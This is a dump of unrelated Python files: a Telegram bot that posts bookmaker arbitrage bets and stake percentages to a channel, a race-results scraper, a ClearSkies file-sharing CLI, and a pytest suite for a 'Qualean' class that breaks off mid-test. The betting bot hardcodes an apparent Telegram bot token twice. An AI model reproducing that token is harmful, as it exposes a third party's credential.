"file_name": "simple_flow.py", "file_ext": "py", "file_size_in_byte": 2748, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.loads", "line_number": 16, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 17, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 35, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 37, "usage_type": "call"}, {"api_name": "mitmproxy.http.HTTPFlow", "line_number": 44, "usage_type": "attribute"}, {"api_name": "mitmproxy.http", "line_number": 44, "usage_type": "name"}]} {"seq_id": "500132287", "text": "import datetime\r\nimport sqlite3\r\nimport requests\r\nimport urllib3\r\nimport re \r\nfrom bs4 import BeautifulSoup\r\nimport textdistance\r\nimport time\r\nurllib3.disable_warnings()\r\nfrom gtts import gTTS \r\nimport os \r\nimport csv\r\nimport telebot\r\ntb = telebot.TeleBot('1025277727:AAGKOX9qGF0mw_Cry--3ufdMQ3RGq50Qv3Y')\r\nimport BET\r\n\r\ndef for_in_every_element(a):\r\n b=c.execute('select * from FORK')\r\n for i in b.fetchall():\r\n cnt=0\r\n for x in range(16):\r\n if a[x]==i[x]:\r\n cnt+=1\r\n if cnt>7:\r\n print('$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Already exist')\r\n return False\r\n return True\r\n\r\ndef compare(ans,a):\r\n print('comparing started!')\r\n f = True\r\n f = for_in_every_element(a)\r\n return f\r\n \r\ndef compare_and_insert(ans):\r\n for a in ans:\r\n f = compare(ans,a)\r\n print('comparing succesfull!')\r\n\r\n print('inserting started!')\r\n if f == True:\r\n c.execute('''INSERT INTO FORK (data, time,league, opp1, opp2, bet1, coef1_bet1, coef2_bet1, bet2, coef1_bet2, coef2_bet2, win_opp1, percent_of_your_money_for_win_opp1, profit1, win_opp2, percent_of_your_money_for_win_opp2, profit2) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)''',(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10], a[11], a[12], a[13], a[14], a[15],a[16])) \r\n conn.commit()\r\n c.execute('''INSERT INTO FIND (data, time,league, opp1, opp2, bet1, coef1_bet1, coef2_bet1, bet2, coef1_bet2, coef2_bet2, win_opp1, percent_of_your_money_for_win_opp1, profit1, win_opp2, percent_of_your_money_for_win_opp2, profit2) VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)''',(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10], a[11], a[12], a[13], a[14], a[15],a[16]))\r\n conn.commit()\r\n print(\" \")\r\n print('inserting succesfull!')\r\n\r\n#28.04\t00:30\tDota 2. Isolation Cup\tMiaww\tSiberian Team\t1xBET\t1.805\t1.97\tOLIMPBET\t3.1\t1.34\tOLIMPBET Siberian Team\t38.856%\t20.45360000000001%\t1xBET Miaww\t61.144%\t20.45367999999999%\r\ndef get_coefficients(a,bet1,op1):\r\n coef1 = ''\r\n coef2 = ''\r\n if bet1 == a[5]:\r\n print('bet1==a[5]:')\r\n if op1 == (a[3]+' '):\r\n print('op1==a[3]')\r\n coef1 += a[6]\r\n coef2 += a[10]\r\n elif op1 == (a[4]+' '):\r\n print('op1==a[4]')\r\n coef1 += a[7]\r\n coef2 += a[9]\r\n elif bet1 == a[8]:\r\n print('bet2==a[8]:')\r\n if op1 == (a[3]+' '):\r\n print('op1==a[3]')\r\n coef1 += a[9]\r\n coef2 += a[7]\r\n elif op1 == (a[4]+' '):\r\n print('op1==a[4]')\r\n coef1 += a[10]\r\n coef2 += a[6] \r\n return coef1,coef2 \r\n\r\ndef float_of_degree_three(a):\r\n a = format(float(a.replace('%','')),'.3f')\r\n return a\r\n\r\nimport mutagen\r\nfrom mutagen.mp3 import MP3\r\ndef creating_and_sending_audio(l):\r\n \r\n text = '''На букмекере {b1}, надо ставить на команду - {opp1} под каэффицентом {c1}, ставить строго {p1} процентов от твоих общих денег,\r\n а затем На букмекере {b2}, надо ставить на команду - {opp2} под каэффицентом {c2}, ставить строго {p2} процентов от твоих общих денег'''.format(b1=bet1,opp1=op1,p1=p11,b2=bet2,\r\n opp2=op2,p2=p22,c1=coef1,c2=coef2)\r\n language = 'ru'\r\n myobj = gTTS(text = text, lang=language, slow=False) \r\n myobj.save(os.getcwd()+\"\\\\audio\\{date}_{time}_{opp1}_{opp2}_{c1}_{c2}.mp3\".format(date=a[0],time=a[1].replace(':','-'),\r\n opp1=op1.strip(),opp2=op2.strip(),p2=p22,c1=coef1,c2=coef2))\r\n voice = open(os.getcwd()+'\\\\audio\\\\{date}_{time}_{opp1}_{opp2}_{c1}_{c2}.mp3'.format(date=a[0],time=a[1].replace(':','-'),\r\n opp1=op1.strip(),opp2=op2.strip(),p2=p22,c1=coef1,c2=coef2), 'rb')\r\n audio = MP3(os.getcwd()+'\\\\audio\\\\{date}_{time}_{opp1}_{opp2}_{c1}_{c2}.mp3'.format(date=a[0],time=a[1].replace(':','-'),\r\n opp1=op1.strip(),opp2=op2.strip(),p2=p22,c1=coef1,c2=coef2))\r\n audio_info = audio.info \r\n length_in_secs = int(audio_info.length)\r\n\r\n\r\n c=tb.send_voice(chat_id='@BET_BUSTERS', voice=voice,duration=length_in_secs)\r\n return c.message_id\r\n\r\ndef deleting_audio(l):\r\n os.remove(os.getcwd()+'\\\\audio\\\\{date}_{time}_{opp1}_{opp2}_{c1}_{c2}.mp3'.format(date=a[0],time=a[1].replace(':','-'),\r\n opp1=op1.strip(),opp2=op2.strip(),p2=p22,c1=coef1,c2=coef2))\r\n\r\ndef getting_emoji(c):\r\n from emoji import emojize\r\n zero = emojize(\":zero:\", use_aliases=True)\r\n one = emojize(\":one:\", use_aliases=True)\r\n two = emojize(\":two:\", use_aliases=True)\r\n three = emojize(\":three:\", use_aliases=True)\r\n four = emojize(\":four:\", use_aliases=True)\r\n five = emojize(\":five:\", use_aliases=True)\r\n six = emojize(\":six:\", use_aliases=True)\r\n seven = emojize(\":seven:\", use_aliases=True)\r\n eight = emojize(\":eight:\", use_aliases=True)\r\n nine = emojize(\":nine:\", use_aliases=True)\r\n trophy = emojize(\":trophy:\", use_aliases=True)\r\n if 0 <= c < 1:\r\n text = zero\r\n if 1 <= c < 2:\r\n text = one\r\n if 2 <= c < 3:\r\n text = two\r\n if 3 <= c < 4:\r\n text = three\r\n if 4 <= c < 5:\r\n text = four\r\n if 5 <= c < 6:\r\n text = five\r\n if 6 <= c < 7:\r\n text = six\r\n if 7 <= c < 8:\r\n text = seven\r\n if 8 <= c < 9:\r\n text = eight\r\n if 9 <= c < 10:\r\n text = nine\r\n if 10 <= c:\r\n text = trophy\r\n \r\n return text\r\n\r\nglobal csvfile\r\ncsvfile = []\r\n\r\nfrom telebot import types\r\ndef make_keyboard(bet1,bet2):\r\n markup = types.InlineKeyboardMarkup()\r\n\r\n if bet1=='1xBET':\r\n link1='https://m.1xbet.kz/line/Esports/'\r\n elif bet1=='OLIMPBET':\r\n link1='https://olimpbet.kz/betting/cybersport'\r\n elif bet1=='FONBET':\r\n link1='https://www.fonbet.kz/esports/disciplines/all'\r\n\r\n if bet2=='1xBET':\r\n link2='https://m.1xbet.kz/line/Esports/'\r\n elif bet2=='OLIMPBET':\r\n link2='https://olimpbet.kz/betting/cybersport'\r\n elif bet2=='FONBET':\r\n link2='https://www.fonbet.kz/esports/disciplines/all'\r\n \r\n markup.add(types.InlineKeyboardButton(text=bet1,\r\n url=link1),\r\n types.InlineKeyboardButton(text=bet2,\r\n url=link2))\r\n\r\n return markup\r\n\r\n\r\n\r\n#l=[a[0],a[1],a[2],bet1,op1,coef1,p11,proff1,bet2,op2,coef2,p22,proff2]\r\ndef strict_table(l):\r\n date=l[0]\r\n time=l[1]\r\n league=l[2]\r\n bet1=l[3]\r\n op1=l[4]\r\n coef1=l[5]\r\n p11=l[6]\r\n proff1=l[7]\r\n bet2=l[8]\r\n op2=l[9]\r\n coef2=l[10]\r\n p22=l[11]\r\n proff2=l[12]\r\n full_len=0\r\n len_col1=0\r\n len_col1=0\r\n text='''\r\nDate: {date}.20 - {time}\r\n\r\n{opp1} vs {opp2}\r\nleague: {leag}\r\n
\r\n|    |'''.format(date=date,time=time,opp1=op1,opp2=op2,leag=league)\r\n\r\n\r\n    if len(bet1)>len(op1):\r\n        text+=bet1+'|'\r\n        len_col1=len(bet1)\r\n    else:\r\n        \r\n        for i in range(len(op1)-len(bet1)):\r\n            text+=' '\r\n        text+=''+bet1+''\r\n        text+='|'\r\n        len_col1=len(op1)\r\n\r\n    if len(bet2)>len(op2):\r\n        text+=''+bet2+'|'\r\n        len_col2=len(bet2)\r\n    else:\r\n        \r\n        for i in range(len(op2)-len(bet2)):\r\n            text+=' '\r\n        text+=bet2\r\n        text+='|\\n|'\r\n        len_col2=len(op2)\r\n\r\n    full_len=8+len_col1+len_col2+2\r\n    for i in range(full_len-4):\r\n        text+='-'\r\n    text+='|\\n'\r\n        \r\n    text+='|Team|'\r\n\r\n    \r\n    for i in range(len_col1-len(op1)):\r\n        text+=' '\r\n    text+=op1\r\n    text+='|'\r\n\r\n    \r\n    for i in range(len_col2-len(op2)):\r\n        text+=' '\r\n    text+=op2\r\n    text+='|'\r\n\r\n    text+='\\n|'\r\n    for i in range(full_len-4):\r\n        text+='-'\r\n    text+='|\\n'\r\n\r\n\r\n\r\n    text+='|coef|'\r\n\r\n    \r\n    for i in range(len_col1-len(coef1)):\r\n        text+=' '\r\n    text+=coef1\r\n    text+='|'\r\n\r\n    \r\n    for i in range(len_col2-len(coef2)):\r\n        text+=' '\r\n    text+=coef2\r\n    text+='|'\r\n\r\n    text+='\\n|'\r\n\r\n    for i in range(full_len-4):\r\n        text+='-'\r\n    text+='|\\n'\r\n\r\n    text+='|cash|'\r\n\r\n    \r\n    for i in range(len_col1-len(p11)-1):\r\n        text+=' '\r\n    text+=p11\r\n    text+='%|'\r\n\r\n    \r\n    for i in range(len_col2-len(p22)-1):\r\n        text+=' '\r\n    text+=p22\r\n    text+='%|'\r\n    text+='\\n|'\r\n    for i in range(full_len-4):\r\n        text+='-'\r\n    text+='|\\n'\r\n\r\n    '''text+='|profit|'\r\n\r\n    \r\n    for i in range(len_col1-len(proff1)):\r\n        text+=' '\r\n    text+=proff1\r\n    text+='|'\r\n\r\n    \r\n    for i in range(len_col2-len(proff2)):\r\n        text+=' '\r\n    text+=proff2\r\n    text+='|'\r\n\r\n    text+=' ''' #\\n\r\n\r\n    text+='
'\r\n\r\n return text\r\n\r\n#28.04\t00:30\tDota 2. Isolation Cup\tMiaww\tSiberian Team\t1xBET\t1.805\t1.97\tOLIMPBET\t3.1\t1.34\tOLIMPBET Siberian Team\t38.856%\t20.45360000000001%\t1xBET Miaww\t61.144%\t20.45367999999999%\r\n\r\nwhile True:\r\n try:\r\n if (datetime.datetime.now().minute * 0 == 0):\r\n conn = sqlite3.connect('FOR.db')\r\n c = conn.cursor()\r\n c.execute('delete from FIND')\r\n conn.commit()\r\n \r\n BET.bets()\r\n ans = BET.find()\r\n compare_and_insert(ans)\r\n \r\n text = None\r\n token = \"1025277727:AAGKOX9qGF0mw_Cry--3ufdMQ3RGq50Qv3Y\"\r\n url = \"https://api.telegram.org/bot%s/sendMessage\" % token\r\n\r\n op1 = ''\r\n op2 = ''\r\n b=c.execute('select * from FIND')\r\n\r\n for a in b.fetchall():\r\n m=a[11].split() # OLIMPBET Siberian Team ------ > m = ['OLIMPBET', 'Siberian', 'Team']\r\n n=a[14].split()\r\n bet1=m[0] # bet1= m[0]= 'OLIMPBET'\r\n bet2=n[0]\r\n op1=''\r\n op2=''\r\n\r\n p11 = float_of_degree_three(a[12]) # 1.23456789 ---> 1.234\r\n p22 = float_of_degree_three(a[15])\r\n proff1 = float_of_degree_three(a[13])\r\n proff2 = float_of_degree_three(a[16])\r\n\r\n for i in range(1,len(m)):\r\n op1+=m[i] # op1= 'Siberian' + 'Team'\r\n op1+=' '\r\n for i in range(1,len(n)):\r\n op2+=n[i]\r\n op2+=' '\r\n\r\n coef1, coef2 = get_coefficients(a,bet1,op1)\r\n\r\n l=[a[0],a[1],a[2],bet1,op1,coef1,p11,proff1,bet2,op2,coef2,p22,proff2]\r\n\r\n voice_msg_id=creating_and_sending_audio(l)\r\n deleting_audio(l)\r\n\r\n text = getting_emoji(round(float(proff1)))+'% profit\\n........................................\\n'\r\n if (len(op1)+len(op2))<0:\r\n print(len(op1)+len(op2))\r\n text+='''\r\nDate: {date}.20 - {time}\r\n\r\n{opp1} vs {opp2}\r\nleague: {leag}\r\n\r\n*Bet1:* _{b1}_\r\n*Team1:* _{opp1}_\r\n*coef1:* _{c1}_\r\n*cash:* _{p1}%_\r\n*profit:*_{prof1}%_\r\n\r\n*Bet2:* _{b2}_\r\n*Team2:* _{opp2}_\r\n*coef2:* _{c2}_\r\n*cash:* _{p2}%_\r\n*profit:* _{prof2}%_ '''.format(leag=a[2],date=a[0],time=a[1],b1=bet1,\r\n opp1=op1,p1=p11,b2=bet2,opp2=op2,p2=p22,\r\n prof1=proff1,prof2=proff2,c1=coef1,c2=coef2)\r\n tb.send_message(chat_id='@BET_BUSTERS', text = text,reply_markup=make_keyboard(bet1,bet2),parse_mode='Markdown')\r\n else:\r\n print(len(op1)+len(op2))\r\n text += strict_table(l)\r\n tb.send_message(chat_id='@BET_BUSTERS', text = text,reply_markup=make_keyboard(bet1,bet2),parse_mode='HTML')\r\n print(text)\r\n print(l)\r\n csvfile.append(l)\r\n conn.commit()\r\n conn.close()\r\n \r\n import csv\r\n with open('csvfile.csv', 'w', newline='', encoding='utf-8') as f:\r\n writer = csv.writer(f)\r\n writer.writerows(csvfile)\r\n\r\n print('DONE!')\r\n #break\r\n except:\r\n #break\r\n print('Something goes wrong')\r\n\r\n", "sub_path": "main_fork.py", "file_name": "main_fork.py", "file_ext": "py", "file_size_in_byte": 12648, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "urllib3.disable_warnings", "line_number": 9, "usage_type": "call"}, {"api_name": "telebot.TeleBot", "line_number": 14, "usage_type": "call"}, {"api_name": "gtts.gTTS", "line_number": 87, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 88, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 90, "usage_type": "call"}, {"api_name": "mutagen.mp3.MP3", "line_number": 92, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 92, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 102, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 102, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 107, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 108, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 109, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 110, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 111, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 112, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 113, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 114, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 115, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 116, "usage_type": "call"}, {"api_name": "emoji.emojize", "line_number": 117, "usage_type": "call"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 148, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 148, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 164, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 164, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 166, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 166, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 310, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 310, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 311, "usage_type": "call"}, {"api_name": "BET.bets", "line_number": 316, "usage_type": "call"}, {"api_name": "BET.find", "line_number": 317, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 390, "usage_type": "call"}]} {"seq_id": "67454401", "text": "# try to fetch all the 22k race pages on the GreatTrail results site\n# this just uses requests and then saves each page with a sequential number\n# other software will try to parse the pages and get all of the results\nfrom __future__ import print_function\nimport os\nimport os.path\nimport re\nimport random\nimport time\n\nimport requests\nimport bs4\n\nurl_template = (\"http://www.greattrailchallenge.org/Results/\"\n \"default.aspx?r=411&bib={}\")\nPAGES_CACHE = './pages_22k_cache'\npage_cache_template = \"./pages_22k_cache/page_for_bib_{}.html\"\nPAGE_CACHE_REGEX = re.compile(\"page_for_bib_(\\S+)\\.html\")\n\nSTART_BIB = \"500\"\nPOSITION = 1\nBIB = 2\nNAME = 3\nTIME = 4\n\nTIME_DELAY = 10\n\n\ndef get_page(bib_str):\n filename = page_cache_template.format(bib_str)\n if os.path.isfile(filename):\n with open(filename, 'r') as file:\n return file.read().decode('UTF-8')\n return fetch_page(bib_str)\n\n\ndef cache_file(bib_str, data, over_write=False):\n filename = page_cache_template.format(bib_str)\n if not over_write:\n if os.path.isfile(filename):\n return\n with open(filename, 'w') as file:\n file.write(data.encode('UTF-8'))\n\n\ndef fetch_page(bib_str):\n delay = random.randrange(TIME_DELAY)\n print(\"Waiting {} seconds ...\".format(delay))\n time.sleep(delay)\n print(\"fetching page {}\".format(bib_str))\n url = url_template.format(bib_str)\n # print(url)\n\n r = requests.get(url)\n # note r.text is unicode.\n return r.text\n\n\ndef process_page(html_data):\n soup = bs4.BeautifulSoup(html_data)\n\n results = []\n\n # we want: css path: #ctl00_SecondaryContent_ResultsGrid\n results_table = soup.select('#ctl00_SecondaryContent_ResultsGrid')\n\n # print(results_table)\n\n # print(type(results_table[0]))\n\n for tr in results_table[0].children:\n good = True if type(tr) is bs4.element.Tag else False\n # print(\"child:{} and is {}\".format(type(tr), good))\n if good:\n pos = tr.contents[POSITION].string\n if pos.lower() != 'pos':\n results.append({\n 'pos': pos,\n 'bib': tr.contents[BIB].string,\n 'name': tr.contents[NAME].string,\n 'time': tr.contents[TIME].string,\n })\n # print(\"in child: 1st element is a {}\".format(type(tr.contents[0])))\n # print(\"Pos: {}\".format(tr.contents[POSITION].string))\n # print(\"Bib: {}\".format(tr.contents[BIB].string))\n # print(\"Name: {}\".format(tr.contents[NAME].string))\n # print(\"Time: {}\".format(tr.contents[TIME].string))\n return results\n\n\ndef bib_numbers_from_pages_cache():\n pages = os.listdir(PAGES_CACHE)\n l = []\n for p in pages:\n m = PAGE_CACHE_REGEX.match(p)\n l.append(m.groups()[0])\n return l\n\n\nif __name__ == '__main__':\n done_bibs = {}\n todo_bibs = {b: True for b in bib_numbers_from_pages_cache()}\n\n finished = False\n count = 0\n next_bib = START_BIB\n while not finished:\n count += 1\n # if count == 10:\n # finished = True # kill it on the first round\n # break\n data = get_page(next_bib)\n cache_file(next_bib, data)\n done_bibs[next_bib] = True\n try:\n del todo_bibs[next_bib]\n except KeyError:\n pass\n results = process_page(data)\n found_bibs = [r['bib'] for r in results]\n for bib in found_bibs:\n if bib not in done_bibs:\n todo_bibs[bib] = True\n keys_left = todo_bibs.keys()\n if len(keys_left):\n next_bib = random.choice(todo_bibs.keys())\n print(\"Next bib = {}\".format(next_bib))\n else:\n finished = True\n\n print(done_bibs)\n print(todo_bibs)\n print(\"Total pages processed: {}\".format(count))\n", "sub_path": "GreatTrailScraper/grab_22k_results.py", "file_name": "grab_22k_results.py", "file_ext": "py", "file_size_in_byte": 3857, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "re.compile", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 54, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 60, "usage_type": "call"}, {"api_name": "bs4.element", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 92, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 126, "usage_type": "call"}]} {"seq_id": "485483995", "text": "#!/usr/bin/env python3\n\nfrom clearskies.client import ClearSkies\nfrom clearskies.exc import ClientException\n\nimport sys\nimport argparse\nimport logging\n\nlog = logging.getLogger(\"clearskies.cli\") # __name__ == \"__main__\" if we're debugging\n\n\nclass CLI(object):\n def __init__(self):\n self.cs = None\n\n def main(self, args):\n logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)19.19s %(levelname)4.4s %(message)s\")\n module_log = logging.getLogger(\"clearskies\")\n\n parser = argparse.ArgumentParser(description='ClearSkies python interface demo')\n parser.add_argument('-v', '--verbose', action=\"store_true\", default=False)\n\n subparsers = parser.add_subparsers()\n\n parser_stop = subparsers.add_parser('stop')\n parser_stop.set_defaults(func=self.stop)\n\n parser_pause = subparsers.add_parser('pause')\n parser_pause.set_defaults(func=self.pause)\n\n parser_resume = subparsers.add_parser('resume')\n parser_resume.set_defaults(func=self.resume)\n\n parser_status = subparsers.add_parser('status', help=\"Give program status\")\n parser_status.set_defaults(func=self.status)\n\n parser_create_share = subparsers.add_parser('create', help=\"Create new share\")\n parser_create_share.add_argument('path')\n parser_create_share.set_defaults(func=self.create_share)\n\n parser_list_shares = subparsers.add_parser('list', help=\"List all shares and sync status\")\n parser_list_shares.set_defaults(func=self.list_shares)\n\n parser_create_access_code = subparsers.add_parser('share', help=\"Make access code to be given to others\")\n parser_create_access_code.add_argument('path')\n parser_create_access_code.add_argument('mode')\n parser_create_access_code.set_defaults(func=self.create_access_code)\n\n parser_add_share = subparsers.add_parser(\n 'attach',\n help=\"Add access code from someone else, creating new share at [path]\"\n )\n parser_add_share.add_argument('code')\n parser_add_share.add_argument('path')\n parser_add_share.set_defaults(func=self.add_share)\n\n parser_remove_share = subparsers.add_parser('detach', help=\"Stop syncing path\")\n parser_remove_share.add_argument('path')\n parser_remove_share.set_defaults(func=self.remove_share)\n\n args = parser.parse_args(args[1:])\n\n self.cs = ClearSkies()\n\n if args.verbose:\n module_log.setLevel(logging.DEBUG)\n else:\n module_log.setLevel(logging.INFO)\n\n try:\n self.cs.connect()\n except ClientException as e:\n log.error(\"Couldn't connect to daemon: %s\" % e)\n log.error(\"Is the daemon running?\")\n return\n\n if hasattr(args, \"func\"):\n args.func(args)\n else:\n log.error(\"No command specified, use --help for a list\")\n\n def stop(self, args):\n print(self.cs.stop())\n\n def pause(self, args):\n print(self.cs.pause())\n\n def resume(self, args):\n print(self.cs.resume())\n\n def status(self, args):\n print(self.cs.status())\n\n def create_share(self, args):\n print(self.cs.create_share(args.path))\n\n def list_shares(self, args):\n shares = self.cs.list_shares()\n\n fmt = \"%6s %-20s\"\n print(fmt % (\"Status\", \"Share\"))\n print(fmt % (\"~~~~~~\", \"~~~~~\"))\n for share in shares:\n print(fmt % (share[\"status\"], share[\"path\"]))\n\n def create_access_code(self, args):\n print(self.cs.create_access_code(args.path, args.mode))\n\n def add_share(self, args):\n print(self.cs.add_share(args.code, args.path))\n\n def remove_share(self, args):\n print(self.cs.remove_share(args.path))\n\n\ndef main():\n sys.exit(CLI().main(sys.argv))\n\n\nif __name__ == \"__main__\": # pragma: no cover\n sys.exit(CLI().main(sys.argv))\n", "sub_path": "clearskies/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 3913, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "clearskies.client.ClearSkies", "line_number": 64, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 67, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 69, "usage_type": "attribute"}, {"api_name": "clearskies.exc.ClientException", "line_number": 73, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 118, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 118, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 122, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 122, "usage_type": "attribute"}]} {"seq_id": "338823369", "text": "import pytest\r\nimport random\r\nimport string\r\nimport session4\r\nimport os\r\nimport inspect\r\nimport re\r\nimport math\r\nfrom math import isclose\r\nimport decimal\r\n\r\nnumber_1 = random.choice([-1,0,1])\r\nnumber_2 = random.choice(list(set([-1,0,1])-set([number_1])))\r\n\r\nREADME_CONTENT_CHECK_FOR = [\r\n '__and__',\r\n '__or__',\r\n '__repr__',\r\n '__str__',\r\n '__add__',\r\n '__eq__',\r\n '__float__',\r\n '__ge__',\r\n '__gt__',\r\n '__invertsign__',\r\n '__le__',\r\n '__lt__',\r\n '__mul__',\r\n '__sqrt__',\r\n '__bool__'\r\n]\r\n\r\ndef test_readme_exists():\r\n assert os.path.isfile(\"README.md\"), \"README.md file missing!\"\r\n\r\ndef test_readme_contents():\r\n readme = open(\"README.md\", \"r\", encoding=\"utf-8\")\r\n readme_words = readme.read().split()\r\n readme.close()\r\n #readme_words = [word for line in open('README.md', 'r') for word in line.split()]\r\n assert len(readme_words) >= 500, \"Make your README.md file interesting! Add atleast 500 words\"\r\n\r\ndef test_readme_proper_description():\r\n READMELOOKSGOOD = True\r\n f = open(\"README.md\", \"r\", encoding=\"utf-8\")\r\n content = f.read()\r\n f.close()\r\n for c in README_CONTENT_CHECK_FOR:\r\n if c not in content:\r\n READMELOOKSGOOD = False\r\n pass\r\n assert READMELOOKSGOOD == True, \"You have not described all the functions/class well in your README.md file\"\r\n\r\ndef test_readme_file_for_formatting():\r\n f = open(\"README.md\", \"r\", encoding=\"utf-8\")\r\n content = f.read()\r\n f.close()\r\n assert content.count(\"#\") >= 10\r\n\r\ndef test_indentations():\r\n ''' Returns pass if used four spaces for each level of syntactically \\\r\n significant indenting.'''\r\n lines = inspect.getsource(session4)\r\n spaces = re.findall('\\n +.', lines)\r\n for space in spaces:\r\n assert len(space) % 4 == 2, \"Your script contains misplaced indentations\"\r\n assert len(re.sub(r'[^ ]', '', space)) % 4 == 0, \"Your code indentation does not follow PEP8 guidelines\" \r\n\r\ndef test_function_name_had_cap_letter():\r\n functions = inspect.getmembers(session4, inspect.isfunction)\r\n for function in functions:\r\n assert len(re.findall('([A-Z])', function[0])) == 0, \"You have used Capital letter(s) in your function names\"\r\n\r\ndef test_invalid_input_valueerror():\r\n with pytest.raises(ValueError):\r\n q = session4.Qualean(10)\r\n with pytest.raises(ValueError):\r\n q = session4.Qualean(-1.5)\r\n with pytest.raises(ValueError):\r\n q = session4.Qualean(5/3)\r\n\r\ndef test_invalid_input_valueerror_provides_relevant_message():\r\n with pytest.raises(ValueError, match=r\".*[-1,0,1].*\"):\r\n q = session4.Qualean(10)\r\n\r\ndef test_Qualean_repr():\r\n r = session4.Qualean(number_1)\r\n assert r.__repr__() == f'Qualean Number({r.number})', 'The representation of the Qualean object does not meet expectations'\r\n\r\ndef test_Qualean_str():\r\n r = session4.Qualean(number_1)\r\n assert r.__str__() == f'Qualean Number: {r.number}', 'The print of the Qualean object does not meet expectations'\r\n\r\ndef test_Qualean_comparison():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = session4.Qualean(number_2) # this will be another random decimal number\r\n assert min(r1,r2) < max(r1,r2), \"Wrong!! :) Object comparison is not as expected\" # using min, max function to be sure which one is smaller\r\n\r\ndef test_Qualean_comparison_with_non_Qualean():\r\n with pytest.raises(NotImplementedError) as e_info:\r\n r1 = session4.Qualean(number_1) # Qualean object\r\n r2 = \"Qualean\" # String object\r\n r1 < r2\r\n\r\ndef test_Qualean_equality():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = r1 # storing the same object\r\n assert r2 == r1, \"Wrong!! :) Object comparison is not as expected\" # using min, max function to be sure which one is smaller\r\n\r\ndef test_Qualean_invertsign():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = (-1)*r1.number # storing the negative of object\r\n assert r1.__invertsign__() == r2, \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_100_times_sum():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n r2 = decimal.Decimal(0)\r\n decimal.getcontext().prec = 12\r\n for i in range(100):\r\n r2 = r2 + r1.number\r\n assert 100*r1.number == r2 , \"Wrong!! :) Object comparison is not as expected \"\r\n \r\ndef test_1_Million_Qualean_mean_closeto_zero():\r\n r2 = decimal.Decimal(0)\r\n for i in range(1000000):\r\n r1 = session4.Qualean(random.choice([-1,0,1])) # this will be a random decimal number\r\n r2 = r2 + r1.number\r\n r2 = r2/1000000\r\n assert isclose(decimal.Decimal(0), r2, rel_tol=0.01,abs_tol=0.01), \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_BOOL():\r\n r1 = session4.Qualean(number_1) # this will be a random decimal number\r\n assert r1.__bool__() == bool(r1), \"Wrong!! :) Object comparison is not as expected\"\r\n\r\ndef test_Qualean_AND():\r\n r1 = 